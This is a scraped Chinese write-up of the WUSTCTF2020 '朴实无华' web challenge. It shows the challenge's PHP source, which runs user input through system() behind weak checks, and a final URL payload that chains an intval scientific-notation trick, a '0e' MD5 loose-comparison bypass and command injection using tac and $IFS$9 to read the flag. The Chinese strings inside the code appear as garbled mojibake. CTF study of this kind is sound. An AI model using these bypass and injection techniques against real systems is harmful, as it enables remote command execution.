zoukankan      html  css  js  c++  java
  • [WUSTCTF2020]朴实无华

    扫描目录 看到 robots.txt
    访问


    在响应头里面找到了提示信息

    查看
    源代码如下:

    <?php
    header('Content-type:text/html;charset=utf-8');
    error_reporting(0);
    highlight_file(__file__);
    
    
    //level 1
    if (isset($_GET['num'])){
        $num = $_GET['num'];
        if(intval($num) < 2020 && intval($num + 1) > 2021){
            echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙�槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
        }else{
            die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
        }
    }else{
        die("鍘婚潪娲插惂");
    }
    //level 2
    if (isset($_GET['md5'])){
       $md5=$_GET['md5'];
       if ($md5==md5($md5))
           echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕�鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷�繁鐐掍袱涓�嬁鎵嬪皬鑿�, 鍊掍竴鏉�暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒��灏忔毚.</br>";
       else
           die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
    }else{
        die("鍘婚潪娲插惂");
    }
    
    //get flag
    if (isset($_GET['get_flag'])){
        $get_flag = $_GET['get_flag'];
        if(!strstr($get_flag," ")){
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
            echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾�鎱�, 鏈夐挶浜虹殑蹇�箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
            system($get_flag);
        }else{
            die("蹇�埌闈炴床浜�");
        }
    }else{
        die("鍘婚潪娲插惂");
    }
    ?>
    

    首先绕过函数intval

    echo(intval(2e5))  //2
    echo(intval(2e5+1))  //200001
    

    然后MD5
    弱等于
    0e215962017

    然后get_flag
    先ls看看有啥文件
    用tac 代替 cat 用 $IFS$9 代替空格
    最后payload

    payload=num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
    
  • 相关阅读:
    如何使用dig命令挖掘域名解析信息
    网络地址转换 NAT 配置
    Win10 安装子系统 GUI 界面
    送给发烧友:Python条件语句的七种写法T
    这是一个可以显示Linux命令的工具
    网页游戏破解 我是武神
    仙侠道破解
    心动最新页游 仙侠道 破解笔记
    通用网页游戏伤害公式。
    mysql: error while loading shared libraries: libmysqlclient.so.16
  • 原文地址:https://www.cnblogs.com/buchuo/p/13645981.html
Copyright © 2011-2022 走看看